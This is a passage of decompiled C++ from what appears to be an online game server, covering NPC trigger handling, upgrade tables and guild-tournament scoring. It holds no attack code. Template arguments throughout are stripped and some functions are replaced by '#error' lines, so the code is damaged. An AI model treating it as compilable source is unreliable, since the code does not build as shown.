result.second._Mylast = 0; result.second._Myend = 0; if ( mobInx._Myres >= 0x10 ) operator delete(*(void **)&mobInx._Bx._Buf[0]); mobInx._Myres = 15; mobInx._Mysize = 0; mobInx._Bx._Buf[0] = 0; } v14 = collection._Myfirst; v33 = -1; if ( collection._Myfirst ) { v15 = collection._Mylast; for ( j = collection._Myfirst; j != v15; ++j ) { v17 = j->baseclass_0.vfptr; v21 = 0; v17->__vecDelDtor(j, 0); } operator delete(v14); } v18 = handle; collection._Myfirst = 0; collection._Mylast = 0; collection._Myend = 0; } while ( !_findnext(handle, &buffer) ); _findclose(v18); __security_check_cookie(v32); return v19; } //----- (0054B200) -------------------------------------------------------- void __thiscall NPCAction::doTriggers_::doTriggers_(ShineRTTI *this, const char *pcName, ShineRTTI *pkBaseRTTI) { this->m_pcName = pcName; this->m_pkBaseRTTI = pkBaseRTTI; } //----- (0054B220) -------------------------------------------------------- unsigned int __thiscall NPCAction::TriggerGen_OptionReader::size(NPCAction::TriggerGen_OptionReader *this) { unsigned int result; // eax@1 result = (unsigned int)this->triggers_._Myfirst; if ( result ) result = (signed int)((char *)this->triggers_._Mylast - result) / 24; return result; } //----- (0054B240) -------------------------------------------------------- #error "54B240: undefined or illegal type '#325' (funcsize=26)" //----- (0054B280) -------------------------------------------------------- unsigned __int16 __thiscall NPCAction::Trigger::notify(NPCAction::Trigger *this, #325 *_Func, #325 *a3, IObserver::Event happen, const unsigned int DwParam, const int SDwParam, unsigned int birth) { NPCAction::Trigger *v7; // esi@1 unsigned __int16 v8; // ax@2 unsigned __int16 v9; // bx@3 NPCAction::Trigger::doAction_ result; // [sp+18h] [bp-8h]@4 v7 = this; if ( this->condition_ ) { v9 = ((int (__stdcall *)(_DWORD, _DWORD, _DWORD, _DWORD, _DWORD, _DWORD))this->condition_->baseclass_0.vfptr->notify)( _Func, a3, happen, DwParam, SDwParam, birth); if ( v9 & 1 ) std::for_each>::iterator_NPCAction::Trigger::doAction_>( &result, (std::vector >::iterator)v7->actions_._Myfirst, (std::vector >::iterator)v7->actions_._Mylast, (NPCAction::Trigger::doAction_)__PAIR__((unsigned int)a3, (unsigned int)_Func)); v8 = v9; } else { AssertClass::ac_AssertFail(&shineassert, "NPCAction::Trigger::notify : null condition_", 0); v8 = IObserver::notify(&v7->baseclass_0, _Func, a3, happen, DwParam, SDwParam, birth); } return v8; } //----- (0054B330) -------------------------------------------------------- #error "54B330: undefined or illegal type '#325' (funcsize=75)" //----- (0054B430) -------------------------------------------------------- void __thiscall std::vector>::_Xran(std::vector > *this) { std::basic_string,std::allocator > thisa; // [sp+0h] [bp-50h]@1 int (__thiscall **pExceptionObject)(void *, char); // [sp+1Ch] [bp-34h]@1 int v3; // [sp+4Ch] [bp-4h]@1 thisa._Myres = 15; thisa._Mysize = 0; thisa._Bx._Buf[0] = 0; std::basic_string_std::allocator>::assign( &thisa, "invalid vector subscript", 0x1Bu); v3 = 0; std::logic_error::logic_error((std::logic_error *)&pExceptionObject, &thisa); pExceptionObject = &std::out_of_range::_vftable_; _CxxThrowException(&pExceptionObject, &_TI3_AVout_of_range_std__); } // 5E86D8: using guessed type int (__thiscall *std__out_of_range___vftable_)(void *p, char); //----- (0054B4A0) -------------------------------------------------------- void __thiscall NPCAction::Trigger::Trigger(NPCAction::Trigger *this) { this->condition_ = 0; this->baseclass_0.vfptr = (IObserverVtbl *)&NPCAction::Trigger::_vftable_; this->actions_._Myfirst = 0; this->actions_._Mylast = 0; this->actions_._Myend = 0; } // 5E3BA0: using guessed type int (__thiscall *NPCAction__Trigger___vftable_)(void *p, char); //----- (0054B4E0) -------------------------------------------------------- bool __thiscall NPCAction::Trigger::needToAttach(NPCAction::Trigger *this) { NPCAction::ICondition *v1; // eax@1 bool result; // al@2 v1 = this->condition_; if ( v1 ) result = ((int (*)(void))v1->baseclass_0.vfptr->needToAttach)(); else result = 0; return result; } //----- (0054B500) -------------------------------------------------------- NPCAction::Trigger *__thiscall NPCAction::TriggerGen_OptionReader::operator__(NPCAction::TriggerGen_OptionReader *this, NPCAction::Trigger *result) { int v2; // esi@1 char *v3; // ecx@1 int v4; // edi@1 v2 = this->currentRow_; this->currentRow_ = v2 + 1; v3 = (char *)&this->triggers_; v4 = *((_DWORD *)v3 + 1); if ( !v4 || (*((_DWORD *)v3 + 2) - v4) / 24 <= (unsigned int)v2 ) std::vector>::_Xran((std::vector > *)v3); NPCAction::Trigger::Trigger(result, (NPCAction::Trigger *)(v4 + 24 * v2)); return result; } //----- (0054B560) -------------------------------------------------------- std::vector >::iterator *__thiscall std::vector>::insert(std::vector > *this, std::vector >::iterator *result, std::vector >::iterator _Where, NPCAction::Trigger *_Val) { std::vector > *v4; // edi@1 NPCAction::Trigger *v5; // esi@1 int v6; // esi@3 signed int v7; // edx@4 std::vector >::iterator *v8; // eax@5 v4 = this; v5 = this->_Myfirst; if ( v5 && this->_Mylast - v5 ) { v7 = (signed int)((unsigned __int64)(715827883i64 * (*(_DWORD *)&_Where - (signed int)v5)) >> 32) >> 2; v6 = v7 + ((unsigned int)v7 >> 31); } else { v6 = 0; } std::vector>::_Insert_n(this, _Where, 1u, _Val); v8 = result; *(_DWORD *)&result->baseclass_0.___u0.baseclass_0.baseclass_0.dummy[0] = &v4->_Myfirst[v6]; return v8; } //----- (0054B5D0) -------------------------------------------------------- void __thiscall std::vector>::push_back(std::vector > *this, NPCAction::Trigger *_Val) { std::vector > *v2; // esi@1 NPCAction::Trigger *v3; // edi@1 int v4; // ecx@2 signed int v5; // edx@3 NPCAction::Trigger *v6; // edi@6 v2 = this; v3 = this->_Myfirst; if ( v3 ) { v5 = (signed int)((unsigned __int64)(715827883i64 * (unsigned int)((char *)this->_Mylast - (char *)v3)) >> 32) >> 2; v4 = v5 + ((unsigned int)v5 >> 31); } else { v4 = 0; } if ( v3 && v4 < v2->_Myend - v3 ) { v6 = v2->_Mylast; std::_Uninit_fill_n>( v2->_Mylast, 1u, _Val, &v2->baseclass_0._Alval, (std::_Nonscalar_ptr_iterator_tag)_Val); v2->_Mylast = v6 + 1; } else { std::vector>::insert( v2, (std::vector >::iterator *)&_Val, (std::vector >::iterator)v2->_Mylast, _Val); } } //----- (0054B660) -------------------------------------------------------- void __thiscall NPCAction::TriggerGen_OptionReader::TriggerGen_OptionReader(NPCAction::TriggerGen_OptionReader *this, OptionReader *optionReader) { NPCAction::TriggerGen_OptionReader *v2; // ebp@1 const char *v3; // ecx@1 void *v4; // esi@3 const char *v5; // ecx@3 const char *v6; // edi@3 int v7; // ecx@8 unsigned int v8; // eax@10 NPCAction::ICondition *v9; // edi@13 int v10; // esi@20 unsigned int v11; // eax@22 NPCAction::ICondition *v12; // edi@25 NPCAction::IAction **v13; // esi@30 const char *v14; // ecx@34 std::vector >::iterator v15; // edx@41 NPCAction::IAction **v16; // ebp@41 unsigned int v17; // eax@41 unsigned int v18; // ecx@43 NPCAction::ICondition *v19; // edi@46 int v20; // esi@53 unsigned int v21; // eax@55 NPCAction::ICondition *v22; // edi@58 const char *v23; // ecx@67 void *v24; // eax@69 ORToken v25; // [sp-28h] [bp-58h]@3 int v26; // [sp-24h] [bp-54h]@3 int v27; // [sp-20h] [bp-50h]@3 int v28; // [sp-1Ch] [bp-4Ch]@3 int v29; // [sp-18h] [bp-48h]@3 int v30; // [sp-14h] [bp-44h]@1 int lastConditionID; // [sp+0h] [bp-30h]@18 OptionReader **v32; // [sp+4h] [bp-2Ch]@1 NPCAction::ICondition *_Val; // [sp+8h] [bp-28h]@3 NPCAction::Trigger trigger; // [sp+Ch] [bp-24h]@3 int v35; // [sp+2Ch] [bp-4h]@1 int optionReadera; // [sp+34h] [bp+4h]@1 v2 = this; this->optionReader_ = optionReader; this->currentRow_ = 0; v32 = (OptionReader **)this; this->triggers_._Myfirst = 0; this->triggers_._Mylast = 0; this->triggers_._Myend = 0; v3 = *(const char **)&NPCAction::TriggerGen_OptionReader::tableName_._Bx._Buf[0]; v35 = 0; optionReadera = 0; v30 = 0; if ( NPCAction::TriggerGen_OptionReader::tableName_._Myres < 0x10 ) v3 = (const char *)&NPCAction::TriggerGen_OptionReader::tableName_._Bx; _Val = (NPCAction::ICondition *)&v25; v29 = 0; v28 = 0; v27 = 0; v26 = 0; *(_DWORD *)&v25.ort_Name[0] = 0; strncpy(v25.ort_Name, v3, 0x14u); v4 = OptionReader::or_SelectFromOrder(v2->optionReader_, v25, v30); trigger.baseclass_0.vfptr = (IObserverVtbl *)&NPCAction::Trigger::_vftable_; trigger.condition_ = 0; trigger.actions_._Myfirst = 0; trigger.actions_._Mylast = 0; trigger.actions_._Myend = 0; v5 = *(const char **)&NPCAction::TriggerGen_OptionReader::tableName_._Bx._Buf[0]; LOBYTE(v35) = 2; v6 = *(const char **)&NPCAction::TriggerGen_OptionReader::tableName_._Bx._Buf[0]; if ( NPCAction::TriggerGen_OptionReader::tableName_._Myres < 0x10 ) { v6 = (const char *)&NPCAction::TriggerGen_OptionReader::tableName_._Bx; v5 = (const char *)&NPCAction::TriggerGen_OptionReader::tableName_._Bx; } _Val = (NPCAction::ICondition *)&v26; v30 = 0; v29 = 0; v28 = 0; v27 = 0; v26 = 0; strncpy((char *)&v26, v5, 0x14u); if ( OptionReader::or_SelectCountFrom(v2->optionReader_, *(ORToken *)&v26) <= 0 ) { AssertClass::ac_AssertFail(&shineassert, "TriggerGen_OptionReader : Invalid Table", v6); ShineExit("TriggerGen_OptionReader"); } v7 = *(_DWORD *)v4; if ( *(_DWORD *)v4 <= 0u || (conditionManager.container_._Myfirst ? (v8 = conditionManager.container_._Mylast - conditionManager.container_._Myfirst) : (v8 = 0), v7 > v8) ) v9 = 0; else v9 = conditionManager.container_._Myfirst[v7 - 1]; if ( v9 == 0 ) { v30 = *(_DWORD *)v4; AssertClass::ac_AssertFail(&shineassert, "TriggerGen_OptionReader : Invalid condition(0). ConditionID", v30); ShineExit("TriggerGen_OptionReader"); } trigger.condition_ = v9; lastConditionID = *(_DWORD *)v4; while ( *(_DWORD *)v4 == lastConditionID ) { v10 = *((_DWORD *)v4 + 1); if ( (unsigned int)v10 <= 0 || (actionManager.container_._Myfirst ? (v11 = actionManager.container_._Mylast - actionManager.container_._Myfirst) : (v11 = 0), v10 > v11) ) v12 = 0; else v12 = (NPCAction::ICondition *)actionManager.container_._Myfirst[v10 - 1]; if ( v12 == 0 ) { AssertClass::ac_AssertFail(&shineassert, "TriggerGen_OptionReader : Invalid action(0). ActionID", v10); ShineExit("TriggerGen_OptionReader"); } v13 = trigger.actions_._Mylast; _Val = v12; if ( trigger.actions_._Myfirst && trigger.actions_._Mylast - trigger.actions_._Myfirst < trigger.actions_._Myend - trigger.actions_._Myfirst ) { *trigger.actions_._Mylast = (NPCAction::IAction *)v12; trigger.actions_._Mylast = v13 + 1; } else { std::vector>::_Insert_n( (std::vector > *)&trigger.actions_, (std::vector >::iterator)trigger.actions_._Mylast, 1u, &_Val); } v14 = *(const char **)&NPCAction::TriggerGen_OptionReader::tableName_._Bx._Buf[0]; ++optionReadera; v30 = optionReadera; if ( NPCAction::TriggerGen_OptionReader::tableName_._Myres < 0x10 ) v14 = (const char *)&NPCAction::TriggerGen_OptionReader::tableName_._Bx; _Val = (NPCAction::ICondition *)&v25; v29 = 0; v28 = 0; v27 = 0; v26 = 0; *(_DWORD *)&v25.ort_Name[0] = 0; strncpy(v25.ort_Name, v14, 0x14u); v4 = OptionReader::or_SelectFromOrder(v2->optionReader_, v25, v30); if ( !v4 ) goto LABEL_70; } do { if ( *(_DWORD *)v4 == lastConditionID ) { v16 = trigger.actions_._Myend; v15 = (std::vector >::iterator)trigger.actions_._Mylast; } else { std::vector>::push_back(&v2->triggers_, &trigger); lastConditionID = *(_DWORD *)v4; if ( trigger.actions_._Myfirst ) operator delete(trigger.actions_._Myfirst); v15 = 0; v16 = 0; trigger.actions_._Myfirst = 0; trigger.actions_._Mylast = 0; trigger.actions_._Myend = 0; v17 = *(_DWORD *)v4; if ( *(_DWORD *)v4 <= 0u || (conditionManager.container_._Myfirst ? (v18 = conditionManager.container_._Mylast - conditionManager.container_._Myfirst) : (v18 = 0), v17 > v18) ) v19 = 0; else v19 = conditionManager.container_._Myfirst[v17 - 1]; if ( v19 == 0 ) { v30 = *(_DWORD *)v4; AssertClass::ac_AssertFail(&shineassert, "TriggerGen_OptionReader : Invalid condition(1). ConditionID", v30); ShineExit("TriggerGen_OptionReader"); } trigger.condition_ = v19; } v20 = *((_DWORD *)v4 + 1); if ( (unsigned int)v20 <= 0 || (actionManager.container_._Myfirst ? (v21 = actionManager.container_._Mylast - actionManager.container_._Myfirst) : (v21 = 0), v20 > v21) ) v22 = 0; else v22 = (NPCAction::ICondition *)actionManager.container_._Myfirst[v20 - 1]; if ( v22 == 0 ) { AssertClass::ac_AssertFail(&shineassert, "TriggerGen_OptionReader : Invalid action(1). ActionID", v20); ShineExit("TriggerGen_OptionReader"); } _Val = v22; if ( trigger.actions_._Myfirst && (signed int)(*(_DWORD *)&v15 - (unsigned int)trigger.actions_._Myfirst) >> 2 < v16 - trigger.actions_._Myfirst ) { **(_DWORD **)&v15 = v22; trigger.actions_._Mylast = (NPCAction::IAction **)(*(_DWORD *)&v15 + 4); } else { std::vector>::_Insert_n( (std::vector > *)&trigger.actions_, v15, 1u, &_Val); } v23 = *(const char **)&NPCAction::TriggerGen_OptionReader::tableName_._Bx._Buf[0]; ++optionReadera; v30 = optionReadera; if ( NPCAction::TriggerGen_OptionReader::tableName_._Myres < 0x10 ) v23 = (const char *)&NPCAction::TriggerGen_OptionReader::tableName_._Bx; _Val = (NPCAction::ICondition *)&v25; v29 = 0; v28 = 0; v27 = 0; v26 = 0; *(_DWORD *)&v25.ort_Name[0] = 0; strncpy(v25.ort_Name, v23, 0x14u); v24 = OptionReader::or_SelectFromOrder(*v32, v25, v30); v2 = (NPCAction::TriggerGen_OptionReader *)v32; v4 = v24; } while ( v24 ); LABEL_70: std::vector>::push_back(&v2->triggers_, &trigger); LOBYTE(v35) = 0; if ( trigger.actions_._Myfirst ) operator delete(trigger.actions_._Myfirst); trigger.actions_._Myfirst = 0; trigger.actions_._Mylast = 0; trigger.actions_._Myend = 0; IObserver::_IObserver((ItemSmallBag *)&trigger); } // 5E3BA0: using guessed type int (__thiscall *NPCAction__Trigger___vftable_)(void *p, char); //----- (0054BAC0) -------------------------------------------------------- int __cdecl AccUpGradeInfoTable::GetRandomUpgradeValue(unsigned __int16 id, unsigned __int16 isPlus, int UpNumber) { int result; // eax@2 signed int v4; // eax@3 int v5; // esi@5 int v6; // edi@5 int v7; // esi@7 int v8; // eax@8 if ( UpNumber <= 12 ) { v4 = isPlus; if ( isPlus >= 1u ) v4 = 1; v5 = ITableBase::ms_pkTable; v6 = v4 + 2 * id; if ( (unsigned __int8)(*(int (__thiscall **)(int, int))(*(_DWORD *)ITableBase::ms_pkTable + 16))( ITableBase::ms_pkTable, v4 + 2 * id) && v6 <= *(_DWORD *)(v5 + 196) && (v7 = *(_DWORD *)(*(_DWORD *)(v5 + 192) + 4 * v6)) != 0 ) { v8 = *(_WORD *)(AccUpGradeInfoTable::Max_Variables[UpNumber] + v7) - *(_WORD *)(AccUpGradeInfoTable::Min_Variables[UpNumber] + v7); if ( v8 <= 1 ) v8 = 1; result = *(_WORD *)(AccUpGradeInfoTable::Min_Variables[UpNumber] + v7) + RandomBox::operator__(&rndbox, v8 + 1); } else { result = 0; } } else { result = 0; } return result; } // 12570A4C: using guessed type int ITableBase_AccUpGradeInfo_AccUpGradeInfoTable___ms_pkTable; //----- (0054BB60) -------------------------------------------------------- int __cdecl AccUpGradeInfoTable::GetLimit(unsigned __int16 id, unsigned __int16 isPlus, int UpNumber) { int result; // eax@2 signed int v4; // eax@3 int v5; // esi@5 int v6; // edi@5 int v7; // edi@7 if ( UpNumber <= 12 ) { v4 = isPlus; if ( isPlus >= 1u ) v4 = 1; v5 = ITableBase::ms_pkTable; v6 = v4 + 2 * id; if ( (unsigned __int8)(*(int (__thiscall **)(int, int))(*(_DWORD *)ITableBase::ms_pkTable + 16))( ITableBase::ms_pkTable, v4 + 2 * id) && v6 <= *(_DWORD *)(v5 + 196) && (v7 = *(_DWORD *)(*(_DWORD *)(v5 + 192) + 4 * v6)) != 0 ) result = *(_WORD *)(AccUpGradeInfoTable::Limit_Variables[UpNumber] + v7); else result = 0; } else { result = 0; } return result; } // 12570A4C: using guessed type int ITableBase_AccUpGradeInfo_AccUpGradeInfoTable___ms_pkTable; //----- (0054BBD0) -------------------------------------------------------- int __thiscall AccUpGradeInfoTable::GetID(AccUpGradeInfoTable *this, AccUpGradeInfo *pkRecord) { unsigned __int16 v2; // ax@1 signed int v3; // eax@4 v2 = pkRecord->Success; if ( v2 >= 2u ) { AssertClass::ac_AssertFail(&shineassert, "AccUpGradeInfo::Success less 2 value:", v2); ShineExit("DWORD AccUpGradeInfoTable::GetID( AccUpGradeInfo* pkRecord )"); } v3 = pkRecord->Success; if ( (unsigned __int16)v3 >= 1u ) v3 = 1; return v3 + 2 * pkRecord->ID; } //----- (0054BC30) -------------------------------------------------------- std::basic_string,std::allocator > *__cdecl Table::GetTableDir() { return &strDirPath; } //----- (0054BC40) -------------------------------------------------------- std::_Tree_nod >,std::less,std::allocator > *__cdecl std::_Tree>_std::less_std::allocator>>>_0>>::_Min(std::_Tree_nod >,std::less,std::allocator > *_Pnode) { std::_Tree_nod >,std::less,std::allocator > *result; // eax@1 int i; // ecx@1 result = _Pnode; for ( i = *(_DWORD *)&_Pnode->baseclass_0.comp.baseclass_0.dummy[0]; !*(_BYTE *)(i + 33); i = *(_DWORD *)i ) result = (std::_Tree_nod >,std::less,std::allocator > *)i; return result; } //----- (0054BC60) -------------------------------------------------------- void __thiscall std::_Tree>_std::less_std::allocator>>>_0>>::const_iterator::_Inc(std::_Tree >,std::less,std::allocator > > > *this) { std::_Tree >,std::less,std::allocator > > > v1; // eax@1 std::_Tree >,std::less,std::allocator > > > v2; // edx@2 std::_Tree >,std::less,std::allocator > > > j; // eax@3 std::_Tree >,std::less,std::allocator > > > i; // eax@6 v1 = *this; if ( !*(_BYTE *)(*this + 33) ) { v2 = *(_DWORD *)(v1 + 8); if ( *(_BYTE *)(v2 + 33) ) { for ( i = *(_DWORD *)(v1 + 4); !*(_BYTE *)(i + 33); i = *(_DWORD *)(i + 4) ) { if ( *this != *(_DWORD *)(i + 8) ) break; *this = i; } *this = i; } else { for ( j = *(_DWORD *)v2; !*(_BYTE *)(j + 33); j = *(_DWORD *)j ) v2 = j; *this = v2; } } } //----- (0054BCC0) -------------------------------------------------------- void __thiscall std::_Tree>_std::less_std::allocator>>>_0>>::_Lrotate(std::_Tree >,std::less,std::allocator > > > *this, std::_Tree_nod >,std::less,std::allocator > *_Wherenode) { int v2; // eax@1 int v3; // ecx@3 int v4; // ecx@5 v2 = *(_DWORD *)&_Wherenode[4].baseclass_0.comp.baseclass_0.dummy[0]; *(_DWORD *)&_Wherenode[4].baseclass_0.comp.baseclass_0.dummy[0] = *(_DWORD *)v2; if ( !*(_BYTE *)(*(_DWORD *)v2 + 33) ) *(_DWORD *)(*(_DWORD *)v2 + 4) = _Wherenode; *(_DWORD *)(v2 + 4) = *(_DWORD *)&_Wherenode[2].baseclass_0.comp.baseclass_0.dummy[0]; v3 = *((_DWORD *)this + 1); if ( _Wherenode == *(std::_Tree_nod >,std::less,std::allocator > **)(v3 + 4) ) { *(_DWORD *)(v3 + 4) = v2; *(_DWORD *)v2 = _Wherenode; *(_DWORD *)&_Wherenode[2].baseclass_0.comp.baseclass_0.dummy[0] = v2; } else { v4 = *(_DWORD *)&_Wherenode[2].baseclass_0.comp.baseclass_0.dummy[0]; if ( _Wherenode == *(std::_Tree_nod >,std::less,std::allocator > **)v4 ) { *(_DWORD *)v4 = v2; *(_DWORD *)v2 = _Wherenode; *(_DWORD *)&_Wherenode[2].baseclass_0.comp.baseclass_0.dummy[0] = v2; } else { *(_DWORD *)(v4 + 8) = v2; *(_DWORD *)v2 = _Wherenode; *(_DWORD *)&_Wherenode[2].baseclass_0.comp.baseclass_0.dummy[0] = v2; } } } //----- (0054BD20) -------------------------------------------------------- unsigned __int16 __cdecl GuildTournamentScoreTable::GetScore(int nType, int nMurder, int nVictim) { int v3; // ebx@3 unsigned int i; // esi@3 int v5; // eax@4 void *v6; // eax@6 if ( nVictim >= 7 ) AssertClass::ac_AssertFail(&shineassert, "GuildTournamentScoreTable::GetScore : No Script", 0); v3 = nMurder; for ( i = 0; ; ++i ) { v5 = *(_DWORD *)(ITableBase::ms_pkTable + 52); if ( !v5 ) break; if ( i >= *(_DWORD *)(v5 + 40) ) break; v6 = CDataReader::GetRecord( (CDataReader *)(ITableBase::ms_pkTable + 4), i); if ( *(_WORD *)v6 == nType ) { if ( !v3 ) return *((_WORD *)v6 + nVictim + 1); --v3; } } return 0; } // 12570A24: using guessed type int ITableBase_GUILD_TOURNAMENT_SCORE_GuildTournamentScoreTable___ms_pkTable; //----- (0054BD90) -------------------------------------------------------- unsigned int __cdecl GuildTournamentOccupyTable::GetOccupyTime(int nType) { unsigned int i; // esi@1 int v2; // eax@2 void *v3; // eax@4 for ( i = 0; ; ++i ) { v2 = *(_DWORD *)(ITableBase::ms_pkTable + 52); if ( !v2 ) break; if ( i >= *(_DWORD *)(v2 + 40) ) break; v3 = CDataReader::GetRecord( (CDataReader *)(ITableBase::ms_pkTable + 4), i); if ( *(_WORD *)v3 == nType ) return *((_WORD *)v3 + 1); } AssertClass::ac_AssertFail(&shineassert, "GuildTournamentOccupyTable::GetOccupyTime : Not Find : %d", nType); return -1; } // 12570A2C: using guessed type int ITableBase_GUILD_TOURNAMENT_OCCUPY_GuildTournamentOccupyTable___ms_pkTable; //----- (0054BDF0) -------------------------------------------------------- unsigned int __cdecl GuildTournamentOccupyTable::GetScore(int nType) { unsigned int i; // esi@1 int v2; // eax@2 void *v3; // eax@4 for ( i = 0; ; ++i ) { v2 = *(_DWORD *)(ITableBase::ms_pkTable + 52); if ( !v2 ) break; if ( i >= *(_DWORD *)(v2 + 40) ) break; v3 = CDataReader::GetRecord( (CDataReader *)(ITableBase::ms_pkTable + 4), i); if ( *(_WORD *)v3 == nType ) return *((_WORD *)v3 + 2); } AssertClass::ac_AssertFail(&shineassert, "GuildTournamentOccupyTable::GetScore : Not Find : %d", nType); return 0; } // 12570A2C: using guessed type int ITableBase_GUILD_TOURNAMENT_OCCUPY_GuildTournamentOccupyTable___ms_pkTable; //----- (0054BE50) -------------------------------------------------------- GUILD_TOURNAMENT_SKILL *__cdecl GuildTournamentSkillTable::GetStateByIndex(int nType, int nNumber) { unsigned int i; // esi@1 int v3; // eax@2 GUILD_TOURNAMENT_SKILL *result; // eax@4 for ( i = 0; ; ++i ) { v3 = *(_DWORD *)(ITableBase::ms_pkTable + 52); if ( !v3 ) break; if ( i >= *(_DWORD *)(v3 + 40) ) break; result = (GUILD_TOURNAMENT_SKILL *)CDataReader::GetRecord( (CDataReader *)(ITableBase::ms_pkTable + 4), i); if ( result->MAP_TYPE == nType && nNumber == result->Index ) return result; } return 0; } // 12570A30: using guessed type int ITableBase_GUILD_TOURNAMENT_SKILL_GuildTournamentSkillTable___ms_pkTable; //----- (0054BEA0) -------------------------------------------------------- unsigned int __cdecl GuildTournamentSkillTable::GetUseSkillCount(int nType, unsigned int Point) { unsigned int v2; // ebx@1 unsigned int i; // esi@1 int v4; // eax@2 void *v5; // eax@4 v2 = 0; for ( i = 0; ; ++i ) { v4 = *(_DWORD *)(ITableBase::ms_pkTable + 52); if ( !v4 ) break; if ( i >= *(_DWORD *)(v4 + 40) ) break; v5 = CDataReader::GetRecord( (CDataReader *)(ITableBase::ms_pkTable + 4), i); if ( *(_WORD *)v5 == nType ) { if ( *((_WORD *)v5 + 2) <= Point ) ++v2; } } return v2; } // 12570A30: using guessed type int ITableBase_GUILD_TOURNAMENT_SKILL_GuildTournamentSkillTable___ms_pkTable; //----- (0054BEF0) -------------------------------------------------------- char __cdecl GTIGetRateTable::GetItemIDbyProbabilityCalculate(bool IsAdvan, char Level) { char v2; // al@1 signed int v3; // ecx@3 int v4; // ebx@5 unsigned int v5; // ebp@5 int v6; // edi@5 int v7; // eax@6 void *v8; // eax@8 char *v9; // esi@8 v2 = Level; if ( (unsigned __int8)Level > 2u ) { AssertClass::ac_AssertFail( &shineassert, "GTIGetRateTable::GetItemIDbyProbabilityCalculate Level Over Value :", (unsigned __int8)Level); v2 = 0; } v3 = 0; if ( IsAdvan == 1 ) v3 = 3; v4 = (unsigned __int8)v2 + v3; v5 = 0; v6 = rand() % GTIGetRateTable::AllProbability[v4]; while ( 1 ) { v7 = *(_DWORD *)(ITableBase::ms_pkTable + 52); if ( !v7 ) break; if ( v5 >= *(_DWORD *)(v7 + 40) ) break; v8 = CDataReader::GetRecord((CDataReader *)(ITableBase::ms_pkTable + 4), v5); v9 = (char *)v8; switch ( v4 ) { case 0: v6 -= *((_BYTE *)v8 + 1); break; case 1: v6 -= *((_BYTE *)v8 + 3); break; case 2: v6 -= *((_BYTE *)v8 + 5); break; case 3: v6 -= *((_BYTE *)v8 + 2); break; case 4: v6 -= *((_BYTE *)v8 + 4); break; case 5: v6 -= *((_BYTE *)v8 + 6); break; default: AssertClass::ac_AssertFail( &shineassert, "GTIGetRateTable::GetItemIDbyProbabilityCalculate Not Find enum : ", v4); break; } if ( v6 <= 0 ) return *v9; ++v5; } AssertClass::ac_AssertFail(&shineassert, "GTIGetRateTable::GetItemIDbyProbabilityCalculate Probability error : ", v6); return 0; } // 12570A38: using guessed type int ITableBase_GTIGetRate_GTIGetRateTable___ms_pkTable; // 13F36220: using guessed type int GTIGetRateTable__AllProbability[]; //----- (0054BFF0) -------------------------------------------------------- bool __thiscall GTIGetRateTable::DataProcess(GTIGetRateTable *this) { unsigned int i; // esi@1 int v2; // eax@2 void *v3; // eax@4 GTIGetRateTable::AllProbability[0] = 0; dword_13F36224 = 0; dword_13F36228 = 0; dword_13F3622C = 0; dword_13F36230 = 0; dword_13F36234 = 0; for ( i = 0; ; ++i ) { v2 = *(_DWORD *)(ITableBase::ms_pkTable + 52); if ( !v2 ) break; if ( i >= *(_DWORD *)(v2 + 40) ) break; v3 = CDataReader::GetRecord((CDataReader *)(ITableBase::ms_pkTable + 4), i); GTIGetRateTable::AllProbability[0] += *((_BYTE *)v3 + 1); dword_13F36224 += *((_BYTE *)v3 + 3); dword_13F36228 += *((_BYTE *)v3 + 5); dword_13F3622C += *((_BYTE *)v3 + 2); dword_13F36230 += *((_BYTE *)v3 + 4); dword_13F36234 += *((_BYTE *)v3 + 6); } return 1; } // 12570A38: using guessed type int ITableBase_GTIGetRate_GTIGetRateTable___ms_pkTable; // 13F36220: using guessed type int GTIGetRateTable__AllProbability[]; // 13F36224: using guessed type int dword_13F36224; // 13F36228: using guessed type int dword_13F36228; // 13F3622C: using guessed type int dword_13F3622C; // 13F36230: using guessed type int dword_13F36230; // 13F36234: using guessed type int dword_13F36234; //----- (0054C0C0) -------------------------------------------------------- GTIBreedSubject *__cdecl GTIBreedSubjectTable::GetByIndexName(const char *pkIndexName) { unsigned int i; // ebp@1 int v2; // eax@2 void *v3; // edi@4 for ( i = 0; ; ++i ) { v2 = *(_DWORD *)(ITableBase::ms_pkTable + 52); if ( !v2 ) break; if ( i >= *(_DWORD *)(v2 + 40) ) break; v3 = CDataReader::GetRecord((CDataReader *)(ITableBase::ms_pkTable + 4), i); if ( !strcmp(pkIndexName, (const char *)v3) ) return (GTIBreedSubject *)v3; } return 0; } // 12570A3C: using guessed type int ITableBase_GTIBreedSubject_GTIBreedSubjectTable___ms_pkTable; //----- (0054C130) -------------------------------------------------------- std::_Tree_nod >,std::less,std::allocator > *__thiscall std::_Tree>_std::less_std::allocator>>>_0>>::_Buynode(std::_Tree >,std::less,std::allocator > > > *this) { std::_Tree_nod >,std::less,std::allocator > *result; // eax@1 result = (std::_Tree_nod >,std::less,std::allocator > *)operator new(0x24u); if ( result ) *(_DWORD *)&result->baseclass_0.comp.baseclass_0.dummy[0] = 0; if ( result != (std::_Tree_nod >,std::less,std::allocator > *)-4 ) *(_DWORD *)&result[2].baseclass_0.comp.baseclass_0.dummy[0] = 0; if ( result != (std::_Tree_nod >,std::less,std::allocator > *)-8 ) *(_DWORD *)&result[4].baseclass_0.comp.baseclass_0.dummy[0] = 0; result[16].baseclass_0.comp.baseclass_0.dummy[0] = 1; result[16]._Alnod.baseclass_0.dummy[0] = 0; return result; } //----- (0054C170) -------------------------------------------------------- void __thiscall std::_Tree_nod>_std::less_std::allocator>>>_0>>::_Node::__Node(std::_Tree_nod >,std::less,std::allocator >,std::less,std::allocator_Myval.second._Myfirst ) operator delete(this->_Myval.second._Myfirst); v1->_Myval.second._Myfirst = 0; v1->_Myval.second._Mylast = 0; v1->_Myval.second._Myend = 0; } //----- (0054C1A0) -------------------------------------------------------- void __thiscall std::vector>::_Xran(std::vector > *this) { std::basic_string,std::allocator > thisa; // [sp+0h] [bp-50h]@1 int (__thiscall **pExceptionObject)(void *, char); // [sp+1Ch] [bp-34h]@1 int v3; // [sp+4Ch] [bp-4h]@1 thisa._Myres = 15; thisa._Mysize = 0; thisa._Bx._Buf[0] = 0; std::basic_string_std::allocator>::assign( &thisa, "invalid vector subscript", 0x1Bu); v3 = 0; std::logic_error::logic_error((std::logic_error *)&pExceptionObject, &thisa); pExceptionObject = &std::out_of_range::_vftable_; _CxxThrowException(&pExceptionObject, &_TI3_AVout_of_range_std__); } // 5E86D8: using guessed type int (__thiscall *std__out_of_range___vftable_)(void *p, char); //----- (0054C210) -------------------------------------------------------- void __thiscall std::vector>::_Xlen(std::vector > *this) { std::basic_string,std::allocator > thisa; // [sp+0h] 